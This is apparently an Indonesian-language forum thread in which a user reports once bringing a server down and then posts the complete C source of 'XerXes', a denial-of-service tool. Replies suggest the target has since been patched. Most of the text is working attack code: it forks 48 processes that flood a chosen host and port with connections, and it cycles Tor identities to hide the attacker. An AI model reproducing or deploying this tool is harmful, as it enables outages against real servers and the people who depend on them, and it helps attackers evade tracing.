[child]

sory bang zee,, ow gitu ya, tapi kemaren pernah sampe down itu server, tapi setelah beberapa hari dicoba lagi udah kaya gitu (voly sent) berarti sudah ga vulnerability ya
ini source code nya, silahkan kalo mau di analisa, kalo ga salah sih bahasa C

Spoiler! :

/* XerXes - Most powerful dos tool */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int make_socket(char *host, char *port) {
struct addrinfo hints, *servinfo, *p;
int sock, r;
// fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror®);
exit(0);
}
for(p = servinfo; p != NULL; p = p->ai_next) {
if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
continue;
}
if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
close(sock);
continue;
}
break;
}
if(p == NULL) {
if(servinfo)
freeaddrinfo(servinfo);
fprintf(stderr, "No connection could be made\n");
exit(0);
}
if(servinfo)
freeaddrinfo(servinfo);
fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
return sock;
}

void broke(int s) {
// do nothing
}

#define CONNECTIONS 8
#define THREADS 48

void attack(char *host, char *port, int id) {
int sockets[CONNECTIONS];
int x, g=1, r;
for(x=0; x!= CONNECTIONS; x++)
sockets[x]=0;
signal(SIGPIPE, &broke);
while(1) {
for(x=0; x != CONNECTIONS; x++) {
if(sockets[x] == 0)
sockets[x] = make_socket(host, port);
r=write(sockets[x], "\0", 1);
if(r == -1) {
close(sockets[x]);
sockets[x] = make_socket(host, port);
} else
// fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
fprintf(stderr, "[%i: Voly Sent]\n", id);
}
fprintf(stderr, "[%i: Voly Sent]\n", id);
usleep(300000);
}
}

void cycle_identity() {
int r;
int socket = make_socket("localhost", "9050");
write(socket, "AUTHENTICATE \"\"\n", 16);
while(1) {
r=write(socket, "signal NEWNYM\n\x00", 16);
fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
usleep(300000);
}
}

int main(int argc, char **argv) {
int x;
if(argc !=3)
cycle_identity();
for(x=0; x != THREADS; x++) {
if(fork())
attack(argv[1], argv[2], x);
usleep(200000);
}
getc(stdin);
return 0;
}

source /aWZMbjSU

Kemungkinan besar sudah di patch ....

oke bro, makasih penjelasanya :-bd